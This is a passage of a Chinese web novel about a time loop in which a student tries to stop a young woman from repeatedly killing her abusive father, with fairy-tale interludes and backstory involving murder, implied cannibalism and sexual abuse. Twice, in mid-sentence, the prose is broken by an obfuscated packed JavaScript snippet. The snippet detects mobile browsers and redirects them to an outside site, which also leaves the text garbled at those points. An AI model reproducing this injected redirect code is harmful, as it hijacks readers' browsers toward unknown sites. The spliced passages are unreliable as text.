裴九昭闻言还没从厌恶的情绪中走出来,很明显地怔了一下,随后应道:“可以。” “不过约定总是有来有回,你提了一个我也要摆出我的要求。” “他必须死。” “好。” 他暂时做不到阻止裴九昭杀人,只求每次循环她都同自己一起活着。 第十五次循环,谈判宣告破裂。 尤澈和裴九昭两个人一个比一个固执,总在暗中较劲比拼谁是对的,谁更能压谁一头,像是探讨什么只有他们才懂的人生大哲理。 尤澈自认为找了一个非常棒的劝服人的理由,认真地讲道:“或许你应该这么想。” “你的母亲大概刚刚走上黄泉路,你舍得让她还没踏上奈何桥、喝下孟婆汤就看见裴人中吗?” “他应该更痛苦、没日没夜地活着,活到你母亲转世,活到你母亲开蒙,活到你母亲长大,活到下辈子跟你母亲再无交集。” 裴九昭认同地点了点头,随后反驳道:“裴人中这样坏事做尽的人,送往阎王殿判刑的时候直接就被扔进地狱油锅了,应该是赶不上母亲的黄泉路。” “不过你说得也有道理,我可以折磨他几天再杀。” 第十六次循环,谈判宣告破裂。 尤澈每次眼睛一睁就是在与裴九昭进行赛跑,比较谁的速度更快。 如果裴九昭更胜一筹,他就会被拒之浴室门外。 浴室内的裴九昭清楚地知道尤澈就在外面,她将电锯暂且关掉,淡淡地问道:“你不怕吗?” 尤澈刚摇了摇头,就意识到裴九昭看不见,抿了抿唇道:“你把电锯给我就知道我怕不怕了。” 闻言,裴九昭怔怔地看着眼前污秽的血肉,甜甜一笑后拒绝道:“不给。” “裴九昭,杀了坏人的怪物也会被原谅的。”,尤澈听到浴室内的电锯声音,提高音量道:“何况你的罪天不知地不知,抛却在过往循环中,结束后只有你知我知。” “哪天你若想灭口,欢迎随时来杀。” 第二十次循环,谈判宣告破裂。 裴九昭的心情不好,肉眼都能看出来。阳光的照耀下越发阴郁,像是下一秒就要冲过去拿刀捅自己几十刀。 尤澈默默地移到了桌子上的旁边,将水果刀藏在了身后,犹豫了半天还是说道:“如果你实在找不到活下去的理由,不妨试试我的。” “为了不孤独而安静地活着,百年之后还能有个人记得我。” “那我应该有了,丹伽姐姐不仅能记得我还能为我送钟。” 尤澈静静地看了裴九昭好久,久到阳光将他的全身覆盖,他还是没能说出那句堵在口中的话。 ——可我需要你。 第……次循环,谈判宣告破裂。 循环了太多次,尤澈已经分不清哪次循环发生了什么了。 他只觉得自己像是口口是道的原始人,虽然看似满腹经纶,但是睁开眼后除了生存还是生存。 而裴九昭越发活得像个随心的人,心情好了便一刀抹上裴人中的脖子,心情不好就在裴人中身上用电锯切割一些“行为艺术”。 记忆中的最后一次循环,裴九昭曾问了他一个童话的问题,是关于那篇乌鸦。 “你怎么看待森林里报丧的乌鸦?” “它没有害人。” 尤澈想了很久,才继续认真地回答道:“在人类眼中,乌鸦是报丧的。可是在大多数动物眼中,人类才是那个引来天灾的。” “谁也不能确定,到底是森林迷雾中的怪物多,还是人间的怪物多。” 裴九昭听到他的回答后沉默了许久,谁也不知道她如何与自己和解了,可能连她自己也沉沦数十次循环不太清楚。 夕阳快落下之时,她对尤澈说道:“下次吧……” “你下次来的时候记得不要从正门进,记得卡视角不要被监控拍到。” “……我试试活着。” 也许她真的可以试着活在怪物成群的地狱。 18.循环结束 上午十点十分,尤澈听从裴九昭的话,从居民区的一条小路绕过监控区域到了她家阳台的外面。 看见大开的窗户,他习惯性地想要习惯性地想要翻进去,走近了才发现裴九昭正趴在窗台上晒着太阳等他。 “尤澈同学,你来了?”,裴九昭眯着眼扫了他一眼,伸了个懒腰后阻止了他想翻进来的动作。 她指了指身后的客厅,说道:“这次用的麻醉剂纯度不高,向警方也算好解释……不过我不确定他什么时候醒,如果他醒了看到你就不好办了。” “最后一次,我不想再连累你。” 她有些泛白的面庞被阳光晒得温暖,尤澈闻言瞧了她一会儿,将手从即将碰到窗台的半空中撤了回来,应了一句道:“好。” 随后,他从口袋里抓了一把单独包装的糖果放在窗台上 裴九昭毫不见外地拈起一个撕开包装扔到嘴里,笑着对尤澈说道:“最后一次在这道窗前说话了……” “我想听童话故事,可以吗?” “可以,裴九昭同学。” 其实尤澈不怎么喜欢看童话也读得不多,他总觉得那些幸福快乐的故事过于弄虚作假,相比下来现实好像残酷无比。 可在此刻,他却愿意为了裴九昭粉饰太平。 尤澈想了一会儿,认真地开口讲道:“从前有一只母鸭子带着一堆鸭蛋在乡间住了下来,它尽心地孵蛋,只为让它的孩子们一个个从蛋壳里钻出来瞧瞧外面的好景色。” “其中有一颗蛋明显与众不同,母鸭子以及孩子们围绕着它开始讨论,如果它生出来将是多么美丽的鸭子。它们日夜祈盼,结果生下来的是一只丑陋的鸭子。” 尤澈讲故事的间歇,裴九昭蓦地举起手,像是上课回答问题那样,开口说道:“尤澈同学,这篇童话我知道。” “丑小鸭实在是太丑了,它不仅被其他鸭子嫌弃,还被其他物种嫌弃,最后蜕变成白天鹅。” 尤澈闻言摇了摇头,继续自己的讲述说道:“但是鸭群并没有嫌弃这只丑鸭子,甚至觉得它丑得前所未有。它们围在了丑小鸭面前,讨论它以后会不会长得更丑。” “它们想探究这个问题,又怕它自己看到自己的模样而自卑,总是争先恐后地帮它觅食,不让它走出自己的窝半步。” “丑小鸭自觉太过麻烦兄弟姐妹们,而它其实更加向往阳光撒来的地方、向往水流的源头。有一天趁着它们睡着,与母鸭子说自己想要去外面看看。” “母鸭子看了它很久,才与它说实话——其实我不是你的母亲,你只是我在外面捡来的。如果你向往什么,不妨去那些地方找找自己的家。” “丑小鸭日夜兼程地出发了,它每到一个陌生的地方,都会询问它们有没有见过我的家人,可是并没有动物真的知道。” “有一天,它真的来到了水流的源头。那里有一棵垂垂老矣的古树,古树说孩子你终于来了。丑小鸭将之前的问题问了出来。” “古树已经很苍老了,说话也是有一节没一节的。丑小鸭在这里陪伴它很久才将故事的原委问了清楚。” “因为水源的污染,它真正的母亲在生下它之前已经患上了重病,命不久矣的白天鹅为了给自己的孩子寻一处好归处,不顾自己的病痛飞了很多地方,类比了很多去处,最终选了阳光可以普照金黄大地的乡间,还没来得及托付给母鸭子,就被猎人杀掉了,好在它幸运地降生在了不嫌弃它的鸭群。” “丑小鸭再次赶回乡间时,猎人早早就因为吃了染毒的天鹅肉病死了。它回归了鸭群,和它们幸福快乐地活在一处。” 尤澈顿了一下,偏过头看向听得入迷的裴九昭,伸手在她面前晃了晃,说道:“我讲完了,裴九昭同学。” “哦……”,裴九昭又往嘴里塞了一颗糖,咀嚼了两下后抬眼问道:“古树是怎么知道它母亲的?” 闻言,尤澈忍不住地笑了一声,伸手轻轻戳了她的脸颊一下。 裴九昭真真是个不解风情的孩子。 尤澈没有回答她的问题,反倒是一连讲了好多个故事。 什么流落海边的王子喜欢上了一位人鱼公主,深深地被她的歌声吸引,听闻渔民讲述的传说向海底的巫女求了变成人鱼的药…… 什么小女孩擦火柴时无意召唤了神明,神明许了她三个愿望…… …… 其实裴九昭都听懂了,尤澈是在哄她。 她好笑地开口问道:“尤澈同学,你是很怕我找到了让你离开循环的方法,骗你说是最后一次循环却等你走了之后再杀人吗?” 他没有同面前的人一起笑,反而很认真地看着她,承认道:“我怕极了。” “我怕回去睡醒后只记得周末要去跑项目,我怕再在新闻中看到死去的你而我只是淡漠地略过,我怕除了资料库再没人记得我曾孤独地活着,我怕午夜梦回惊醒时总不记得自己到底丢了什么……” 我怕再也记不得你、与你再见时形同陌路。 阳光轻轻地落在尤澈的肩头,竟不如他眼底的亮炽烈。裴九昭率先移开了目光,说道:“我杀够了,也杀累了。” 她蓦地想到了一件好笑事情,开玩笑地讲与尤澈活跃气氛,“如果电锯有记忆的话,它就该抱怨自己卷刃了。” 没有如愿听到他的笑声,裴九昭撇了撇嘴,吐槽道:“真是无趣。” “喂,呆子。你还不走吗?” 尤澈没有出声,只直直地看着她。裴九昭似有了悟地走到放了座机的桌子旁,拨了110的电话。 接通的那一瞬间,她瞬间用惊慌失措的语气与电话那头的警方陈情,神情却是冷静得很。 尤澈听着瞧着兀自笑了出来,拨了一颗糖扔到自己的嘴里。 果然,他与裴九昭之所以能够一起被拉到循环中,除了都不是什么好人之外,连演技都一样精彩。 他垂眼的那一刻,蓦地被什么东西吸引了目光。尤澈定睛瞧了很久,才看到裴九昭右腰侧的衣服被划了个口子,有微量的血迹渗了出来,不仔细看根本发现不了。 自从十五循之后,裴九昭没有再令自己受过伤,用她的话来讲是没必要。可偏偏在出循环时,腰上被刀划了一个口子。 虽然尤澈能够理解裴九昭故意被裴人中刺到的原因——装得更像一个受害者,但是腰侧的暗红色却格外刺眼。 只怕她不让自己翻窗进去,也有不想让伤口暴露的原故。 裴九昭报完警后走到窗台前的路上,眼瞧着尤澈的眼神直往自己的腰侧瞥,低头看到那处血迹后怔了一下,随后笑着同他说道:“很小的口子,我发现的时候已经凝固了就没再管过,可能是行动的时候又撕裂了。” 能被再次撕裂的伤口怎么会是小口子? “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725994|139178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我知道。”,尤澈蹙着眉抿了抿发干的唇,犹豫了半天,千言嘱咐万语叮咛到了嘴边还是变成了最稀松平常的一句话。 “裴九昭同学,再见。” 他真的就这么转过身迈开步离开,反倒是裴九昭不知所措地愣在原地,若即若离的情绪一下子漫了上来。 过往寻常是她先行一步,裴九昭蓦地发自内心生出了尤澈所诉说的那种孤独怅然。好在,她一向胆大。 “尤澈同学……” 尤澈闻言停在了原地,却没有转过身来。 裴九昭下意识地攥紧了手中的糖纸,硬塑料刮在掌心有些刺痛。 太阳撒下光辉在两人中间,像是电影中的桥段。她停了一会儿,第一次为了自己开口问道:“什么时候会再见?” 尤澈无奈地笑了笑,转过身走到了窗户前面,像是一个拯救怪物的怪物,伸出自己的爪子轻轻遮住她的眼睛,诚挚地念出咒语。 “Dawn broke” 感受到投下阴影的手走了,裴九昭并没有第一时间睁开眼。直到有车行驶到楼下熄火,她才慢慢地撩起眼皮。 在阳光下闭眼闭久了,再睁开时总觉得很暗。熟悉的、一如往常的环境在眼前展开,有一分与之前不太相同。 零碎的糖纸很亮。 尤澈又回归到了忙碌的研究生生活中,每天不是与实验数据为伴便是和项目会议为伍。那数十次的离奇循环仿佛只是他繁劳日常中的幻想。 他再次得知有关于裴九昭的事,是路过项目组两个女生聊天时无意中撞到的。尤澈站在角落里将对话一字不落地全部听了,他该庆幸那言语其中只剩下对于死者女儿的同情,末了笑笑走了。 那段时间的新闻不仅被裴人中占据,也有些许游城大学的事情揭露,引得人们关注和讨论。 他也是在新闻的角落里得知裴九昭火葬裴尔雅的时间,并请假了半天独自前往游城市祭奠。 因为裴九昭的特殊情况,为了保证她的心理安全,火葬的时候有两名女警官跟随照顾疏导。 尤澈坐在火葬场的角落里以目光陪了她全程,眼看着她红着眼眶进了火化的走廊,眼看着她在放有裴尔雅的铁床旁磕了好几个头,眼看着她颤着走了出来却始终忍着眼泪。 他想,裴九昭真真是个坚强的孩子。 尤澈不确定裴九昭有没有看到自己,但他直觉得答案应当是看到了。 因为裴九昭走后,他捏着花去墓前敬拜时,那里已经放了两束花。 再后来,尤澈忙中偷闲听到周围的人议论天文专业今年收了一位学霸,初复试皆第一的成绩考进来的,生生比第二名高了十几分。 他们感叹林大何德何能,尤澈则感叹自己何德何能。 一日,尤澈正在宿舍的桌子上吃完饭。室友将一个牛皮纸的信封扔到了他的桌子上,语气调笑地说道:“楼下有个女生托我送给你的信。” 尤澈没理他们的起哄,兀自冲到阳台,只看到宿舍楼下路尽头有个女生伸懒腰似的将两只手臂举过头顶,一只手抓着另一只手腕,朝自己这边挥了挥,像是知道自己在看她。 尤澈怔了很久,直到在视野中看不见女生,才回去用裁纸刀慢慢划开工整的、没有署名的信封,里面是一张普通的纸,上面的字迹熟悉又潇洒。 “我们将在破晓时重逢” —正文完— 19.怪物 森林深处的毒瘴中有一只极为丑陋且长满脓疮的怪物,据说可以实现任何愿望。 一位公主来到森林向居住在这里的人们询问怪物的踪迹,她接连问了几个人都表示自己不知道。终于一位樵夫好心地为公主指路,并带她到毒瘴的入口处,告诉她哪里可以穿过毒瘴而不受影响。 公主依照着樵夫的指示果真安全地穿过毒瘴来到怪物的巢穴。那是一只庞大的、丑陋的怪物,它有王国里最大的城堡那么高,眼睛比人还高,在森林深处的泉水边沉睡着,呼噜声震地甚至可以将她甩起来。 公主看着这只庞大的怪物犹豫了很久,最后她想起来临行前王子的嘱托,还是唤醒了它,并说出了自己此行的目的,希望怪物可以帮它实现愿望。 美丽的公主难掩自己的悲伤,用好听的嗓子说道:“几年前,我嫁给了邻国的王子。他对我很好,我们的生活非常和睦。只是这么多年了,我们还是没有一个孩子。” “就算找遍天下名医也无济于事,就连女巫一族也无法实现我的愿望。亲爱的怪物,你可以帮我实现拥有一个孩子的愿望吗?” 怪物被美丽的公主唤醒后,一双厚重的眼睛直直地看着她,悠悠地问道:“你可以为了这个愿望付出任何等量的代价吗?” “为了这个孩子,我愿意付出任何的代价。”,公主跪在泉水边对天发誓。 怪物喘了一口粗气,慢慢地说出自己的条件道:“你只需要走近,让我抚摸一下就行了。” 美丽的公主虽然对这句话有些疑惑,但还是照做走到了怪物的身边,乖乖地跪在它的脚边,任它抚摸。 公主回去后,果不其然怀上了孩子。 数年后,战争爆发牵连到公主与王子,局势动荡,盟国接连被新兴的国家铲除。公主带着自己的孩子前往森林深处,照着前几年那样穿过毒瘴,在泉水边看到了沉睡的怪物。 美丽的公主拉着自己的孩子一同跪在了它的身边将怪物唤醒,祈求道:“亲爱的怪物,森林外因不休止的战争而动乱,我只想和孩子找个安稳的地方好好地生活,我只想我的孩子可以健健康康地长大。” 怪物睁开了自己的眼睛,扫了一眼美丽的公主和她生的孩子,声音粗哑但语气温柔地说道:“我这里就很安全,泉水清澈、果子香甜,可以居住。” “只是美丽的公主啊,你得答应我——你和孩子都必须永远地留在这里,不得踏出森林半步。” “如果你违约,那我就会从你的身上收取加倍的东西。” 美丽的公主想了很久,最终点了点头答应了。 不过半年,战败的消息传进了森林。一日,樵夫拦截出来采摘果子的公主,告诉她战败后王子逃了出来,流落到了森林,但是受了重伤、命不久矣。 公主哭着跑回了毒瘴后的深处,跌跪在怪物身边,伤心地求它道:“亲爱的怪物,王子负伤逃到森林里,但是他活不长久了。” “我想救他,我想一家团圆再没有人打扰,你能帮我实现这个愿望吗?” “当然可以,美丽的公主。只要是你许愿的,我都会满足你的。” 怪物答应了美丽的公主,将王子救了回来。后来,怪物在他们一家团聚之时,收取了许愿的代价,将王子和公主一同葬在了毒瘴里。 * 周末,裴九昭轻轻推开家门,蹑手蹑脚地往里面走,准备去客厅拿了自己遗忘的本子就出去玩,余光瞥见常年紧闭的屋门半掩着,缝隙中可见一个人跪在蒲团上闭着眼碾着佛珠。 她暗道不好,刚打算开溜,就被屋内的裴尔雅叫住了。 “昭昭?” 裴九昭认命地低着脑袋进了那间烟熏火燎的屋子。自她有记忆以来,裴尔雅几乎日日在这里礼佛。 她一直觉得很神奇,自己的母亲应当是钢铁铸成的,才能与那么硬的蒲团抗衡十几年。 裴尔雅心情好了可以将她搂进怀里讲一夜的佛,心情一般的话就懒得理她,如若是心情不好,那便会拉着她一同跪着。 果不其然,她的预感没错,刚才就不该回来。 “过来跪着。” 无情的、没有波动的声音传了过来,裴九昭顺从地从柜子下取了一个稍微软和一点的蒲团,放到了裴尔雅的旁边,老老实实地跪下。 她虽然日日瞧着这些各不相同的佛像,却丝毫生不出一点喜爱或者是信仰。它们冷冰冰地俯视着众生,竟还能美化成“垂怜”。 裴九昭曾经试图反抗过,指着佛像的鼻子说自己不愿意跪这些死物。 当时的她就站在这个位置,大概还没有摆佛像的柜子高。裴尔雅一巴掌将她扇翻摔到了地上,磕出了鼻血,流个不停。 她第一次从柔弱淡然的母亲口中听出来恶意与嫌隙。 “若不是为了你,我何苦来受这些折磨!若不是我日日供奉,你和我早被你爸害死了你知道不知道?我为什么要生了你这样的孩子,目无神佛你怎么活下去?只怕哪天被你那个造了的孽的父亲卖了都不知道……” “从小我是怎么教你的?虽不用你同我一般日日跪着,也要潜心敬奉。只求祂们保佑你平安。你竟还敢用手指着?这是大不敬……” 裴尔雅说着,供桌上的香烛便摇曳着。裴九昭正是满天联想的小孩子阶段,瞧着她母亲的面容与烛火的影子一起张牙舞爪地朝自己扑过来,打心眼里更厌恶这些东西了。 等到香炉里的燃香快要断了,裴尔雅终于说累了,续上三炷香后,眼泪止不住地往下掉,抱着裴九昭便开始期期艾艾地说另一些东西。 “妈妈也是为你好,你生下来便好。只要你和我都好好地活着……” “总有一天能熬到头的。” 小时候的裴九昭不懂她在说什么,她很想打破砂锅问到底——妈妈我们的生活不够开心吗?为什么要熬呢? 可是瞧了眼她母亲泪眼婆娑的样子和颤抖的身体就将话咽了回去。 逐渐长大的裴九昭仿佛悟了这个“熬”字的另一种意思。 她放学回家的时间本就不多,这些时间里却总是被各种吵闹声占据。父母的吵架、父母的打架、父亲单方面地殴打、父亲的朋友…… 裴尔雅时好脾气时坏脾气,裴人中也一样。裴九昭从小便有一个大大的疑问——到底是自己这样的不正常,还是他们那样的不正常? 不过大多数,裴九昭选择在小屋子里安静地看书学习,她喜欢童话书。裴尔雅或是裴人中从来不给她买过童话故事,她都是悄悄地与同学做交易,帮他们写作业换来一晚上的看书时间。 父母的吵闹不多,大多是父亲带回来的姐姐们在奇怪地痛叫。因为母亲经常回外公家,但是很少带她一起去。 虽然裴尔雅总是觉得她小时候不记事,但是那些足以划出心中沟壑的事,裴九昭忘不了。 有一年除夕,瑞雪替天地换上银装。裴尔雅带着软乎的棉手套拉着小小的她去了外公家。 裴九昭长那么大第一次见到那样豪华的房子,跟自己上的小学差不多大,甚至门口还有保安亭、院子后面还有花园和游泳池。 她那年刚刚翻了几页《红楼梦》,觉得自己张大的嘴应当与刘姥姥相差不多。 按响门铃后,是一个穿着围裙的女人来开门,身后跟着一个咬巧克力的、脏得不得了的小男孩。 女人的脸笑得比刘姥姥的褶子还多,但看见她之后瞬间硬成了石头。那是裴九昭第一次生动地意识到翻脸比翻书快是什么样子的。 “小姐回来了?夫人在客厅壁炉旁暖着呢。只是……”,女人用余光扫了一眼裴九昭。 裴尔雅自然看到了她的眼神,说道:“无事,我带着她进去。刘妈你忙去吧……” “等下,这是小宁吧?一转眼长这么高了?” “在乡下养了几年越发皮实了。”,女人一把将小男孩拽了出来,说道:“快给你尔雅姨姨打招呼。” 小男孩乖巧地打了招呼,裴尔雅摸了摸他的脑袋后,心下一思索,将手中的裴九昭拉到了小男孩旁边,说道:“你和小宁哥哥玩,妈妈去和外婆说说话。” 裴九昭还没说什么,她的小手就被女人粗糙的手一把拽了过去,攥得她疼。 “小姐去吧,小孩子们就喜欢一起玩。” 后来…… 小男孩将她拉到了一个没人的角落,将手中的巧克力掰了一块塞进了裴九昭的手里,剩下的全扔到自己的嘴里吞了。 裴九昭还沉浸于感激、受宠若惊的情绪中,就见那个小男孩头也不回地跑了。 再然后…… 裴尔雅气冲冲地出来,扇了她一巴掌,怒斥她竟不知羞地抢别人的巧克力。而她身后的小男孩站在刘妈身边开心地吃着糖果。 一旁的外公外婆冷冷地看着她,虽然她那个时候不明白他们是什么样的眼神,但总之不是欢喜。 裴尔雅失望地瞧着她,说出来的话比除夕的雪还要冷,“你自己回去吧。” 最后…… 他们都回了温暖的屋子,只有裴九昭一个人平静地往外走,脸上的掌印火辣辣地疼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744460|139178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 还是门口的保安瞧不下去,私自地将她拉到保安亭,让她坐在那样热的暖炉前面烤着,还端了饭喂她,夸她乖巧可爱。 那天她的脑子很懵,傻傻地坐着一声不吭。后来裴九昭再也没见过那个保安叔叔,甚至不曾对他说一句“谢谢”。 裴九昭这么多年最后悔的就是这件事,那可能是这辈子唯一一个与她不相熟却表达善意的人了。 一开始,裴九昭是讨厌小男孩的,气他诬赖自己。渐渐懂了事后,她就明白了。 即使不是他,也会有千万个小男孩随意地泼她脏水,裴尔雅也会不顾青红皂白地扇过来。因为外公一家打心眼里不喜欢裴九昭。 裴九昭不知道裴尔雅是否爱她,但她知道裴人中一定不爱她。 裴尔雅回自己家的时候越来越多,她一个人放学回家在客厅写作业,如果在家门开之后没有及时跑到礼佛的小屋子里,大多次就会招致一顿打。 裴人中边打她边对自己带来的朋友说什么孩子不听话、我也不想养、多浪费钱、还不如卖了算了…… 裴九昭有幸跑回了那处庇护她的小屋子里,也会因为没有灯而摸黑写作业。因为裴尔雅说为了尊重佛像,只能用最原始的香烛供着,而香烛被锁在柜子里,她打不开。 若是裴人中实在是心情不好,就会开门拽她出去打。后来,裴九昭渐渐发现了一件事——裴人中怕那些佛像,只要躲在供桌下的柜子里关紧,他就会骂骂咧咧地离开。 很可笑…… 裴尔雅信佛怕佛,裴人中不信佛依然怕佛。 而裴九昭不信佛也不怕佛,却只能躲在供桌下受祂们的庇护,偷偷长大。 直至十七岁时,裴人中和裴尔雅七八天都没回来,裴九昭才知道裴人中进去了。那时她忙于高中学业,也不在乎他们的龌龊事,还是在同学议论的时候路过偶然听到的。 无非是什么她爹是强.奸犯、她也不是什么好人、她妈真是造孽…… 裴人中走关系各处求爷爷告奶奶的,还是被法庭判了五年有期徒刑。 某天,写题的裴九昭好像突然明白了裴尔雅将她生下来的意义,一如她的名字那般,期望留着她这个“罪证”,期望有一天能够替自己昭雪。 五年过得太快了,一转眼就从指缝溜走。 3月30日的上午,裴九昭给裴尔雅打电话的时候发现没人接,又打了邻居林丹伽的电话还是没人接,她意识到了不对劲。 裴九昭翻了日历才想起来,裴人中出来了。 其实自从裴人中蹲局子后,裴尔雅很少回这个家,高三一整年都只有裴九昭一个人。后来她上了大学,假期也很少回来。 但是拨不通那个电话后,裴九昭还是赶回来了这个用恶意拼凑的“家”,她觉得裴人中总会用什么把柄将裴尔雅钓回来。 林丹伽果然被出狱的裴人中强行扣留在家中,裴人中见到她的时候眼前一亮,心中的那些算计就差没有自己跳出来说了。 裴九昭忍着恶心将林丹伽送走,问裴人中道:“她人呢?” 彼时的裴人中捞了一块盆中的肉吃得津津有味,囫囵地说道:“别提那个臭婆娘扫老子的兴。” “你爹我好不容易出来了,来吃块肉,闺女。” 裴九昭没有理他,冷冷地看着裴人中依旧不依不饶地问道:“你把她弄到哪里了?” “知父莫若女啊……” 裴人中没有生气,反倒用筷子夹了一块肉递到她嘴边,带着笑说道:“来,吃块肉我就告诉你。” 裴九昭蹙紧眉,站在原地与他僵持半天,最后只好微微张嘴咬了一小口。肉腥味儿一下子在口中炸开,她忍不住快步到垃圾桶旁边,将那块肉吐了出来,不停地犯恶心、吐酸水。 裴人中看到她的反应哈哈大笑,笑够了才将刺耳的实话讲了出来,“臭婆娘的肉好吃吗?” 闻言,裴九昭呕得更厉害了。她强忍着反胃的难受,从自己的书包里拿出了五双实验手套,就这么站在裴人中的面前平静地带着。 刀子捅进去胃里的时候,裴九昭没什么感觉,但是她看着裴人中瞪圆的眼睛夹杂着藏不住的震惊与恐惧,莫名感受到……爽。 裴九昭想过为什么神佛不愿意满足裴尔雅的愿望,大概是她太过贪婪,妄想用孩子牵制施暴者、妄想将他绳之以法、妄想平安地活下去…… 不过,就算裴尔雅死了。裴九昭也要用行动告诉她—— 神佛救不了你,我也救不了你。 但我可以替你昭雪。 20.鹦鹉 小公主偷跑出来去森林里玩的时候迷路了,一只羽毛极漂亮、眼睛像发光玻璃珠那样的鹦鹉为她引路,将她带回了王宫。小公主特别喜欢它,问它愿不愿意留在自己身边,鹦鹉像是能听懂人话般点了点自己的小脑袋。 一日,王后来到小公主的宫殿看望她,发现了她窗边那只啄食的鹦鹉。王后新奇地凑过去抚摸它的羽毛,直到鹦鹉抬起头露出那双美丽的眼眸,王后突然僵在了原地,手指像是触电般收了回来。 小公主听闻王后在自己的房中,欣喜地跑进来。她看见王后呆呆地站在窗边,瞥了一眼那只鹦鹉后,好奇地问她道:“您也觉得这只鹦鹉很美丽吧?” 王后闻言回过神,强扯了一抹笑点了点头。随后,她将心中的疑虑暂且抛之脑后,陪小公主玩了一下午,直至她累了躺在软和的床上入睡。 王后小时候曾跟随森林里的巫婆学过一些巫术,刚才与鹦鹉大眼瞪小眼时隐约瞧出了它的眼睛被施了术法,似是连接着什么,只是她学识浅薄,一时看不出来。 趁着天还没黑,王后动身去了一趟森林,找了自己的师父巫婆。她将鹦鹉的事同巫婆讲述,顺便描述了一下鹦鹉眼睛的异状。 巫婆听后嘿嘿一笑,如枯老树皮一般的脸沟壑极深。她从自己的柜子里翻出来一面铜镜,放到烧热的锅中咕嘟咕嘟煮了一会,再捞出来后铜镜清可照人,她将铜镜递给王后。 只是铜镜里映照的不再是王后的面容,而是小公主的睡颜。王后皱着眉瞧了许久,这个视角……像是从公主屋里的窗户边照过去的。 窗边的那只鹦鹉,带有术法的眼睛连接着这面铜镜。令人细思极恐的事是,这样的铜镜不知有多少面,又在谁的手中。 王后大惊,询问巫婆如何解除施在鹦鹉眼睛上的术法。 巫婆不急不慢地往壁炉里丢了几块木头,故作高深地沙哑道:“这术法不仅你解除不了,就连我也无能为力。” 眼瞧着王后面露失望,巫婆话音一转道:“不过……” “可以杀了这只鹦鹉。只是鹦鹉有灵性,必不是你一个人可以杀的,你需求助国王,请出镇国之剑才可以剑气斩杀鹦鹉。” 王后急匆匆地赶回了王宫,来到了国王处理政务的宫殿。她支开仆人侍卫,见到国王便开始讲述有关于鹦鹉这件事的来龙去脉,说清了隐藏的祸患。 谁知国王听后不以为意地摆了摆手,安抚王后道:“亲爱的,别担心。其他国家的王子就是通过这面镜子知道我们的小宝贝的。” “她总有一天要嫁出去,我这是提前为她选可靠的丈夫。” 王后闻言,难以置信地看着他。她不敢想象这件事竟是经由国王的手,怪不得巫婆要她来找国王才能杀了那只鹦鹉。 可是小公主不知道,她从来不会将鹦鹉当作一种监视,更无心思考它是否在自己睡觉时、洗澡时飞来飞去地窥探。 王后越想越心惊,惊于那面铜镜所能看到的东西、惊于国王的冷漠与放纵。国王不会听她的,她现在能做的,只有告知小公主远离那只鹦鹉……或者,将它丟回森林。 国王似乎瞧出了沉默的王后的思量,下令将她软禁了起来,不允许她见小公主,更不允许小公主来探视,对外只说王后得了重病不宜见人。 小公主与鹦鹉一同长大,很快到了要嫁人的年纪。前来求娶的王子络绎不绝,带着自己的礼物来王宫。 只是,国王对外宣称自己特别宝贝这个小女儿,不让王子们提前见公主,而是需要通过自己的考验。 小公主被暂时禁足于自己的宫殿中,日日倚在窗边发呆。那只年老的鹦鹉就在她旁边歪着头看着她。 小公主百无聊赖地问道:“美丽的鹦鹉,我能找到那个对我好、许我一生一双人、像国王王后那样恩爱的王子吗?” 可惜,年老的鹦鹉只会学舌道:“王子!王子!” 终于,国王从一众王子中挑选出一位容貌、家世皆不错的王子,并定于几日后与小公主完婚。 王子与小公主大婚的当天,所有人都开开心心的,除了被幽禁的王后与小公主。因为陪她长大的鹦鹉老死了,羽毛灰败地躺在窗户边,漂亮得似玻璃珠般的眼眸再也瞧不见了。 王子得知这件事后,派人去森林里寻一只相似的鹦鹉,将它交于公主时,小公主开心地破涕而笑,高兴地牵住王子的手,与他离开了自己生活了很多年的王宫。 只有王子的贴身侍卫知道,他这么做并非是为了小公主而是为了他自己。王子交待他寻鹦鹉的时候曾说过一句话。 “我花了那么多钱才娶到她,总得从她身上再挣回来。” * 裴九昭是上了大学住宿时才知道,可以不用在又重又大的厚被子里换衣服的,可以不用在夏天的宿舍里穿长衣长裤遮住所有不该露出来的皮肤的。 小时候,裴尔雅总是用条条框框约束着她,她虽心中抱怨颇多,但总不敢亲口反驳或者忤逆裴尔雅。 譬如,只能在被子里换衣服、换衣服时不能露出来任何部位,即使是夏天也不可以…… 再譬如,上厕所时要带上长巾,全方位地裹着自己的皮肤…… 又或者,从不让她在家里的浴室里洗澡,尽管那个浴缸看起来很舒服,她也只能被裴尔雅拉到大澡堂子里站着洗,直到所有地方都干净了…… 后来,裴九昭回家时无意中破开了裴人中珍视的小箱子才发现了真相。 里面放着很多很多录像带以及棕色底片,尽管不播放、不洗照片,她也能透过阳光看清上面的内容。 很多很多曾经来过这间罪恶房子的女性的私密照片……多到裴九昭反胃恶心。她将每一张照片、每一卷录像带都看了,虽然是将它们放到离自己很远的地方看的,但还是忍不住地反酸水。 各式各样痛苦的表情,绽放在那些娇嫩的脸上 甚至有几个人,裴九昭很清楚地记得自己与她们交谈过。只是轮到她时,那些娇花难免灰败。 年代最久的一叠录像带是裴尔雅的,画质并不清晰,却能清晰地看出来当时的她因为怀孕身资变得更加曼妙。 …… 但是,里面没有裴九昭。 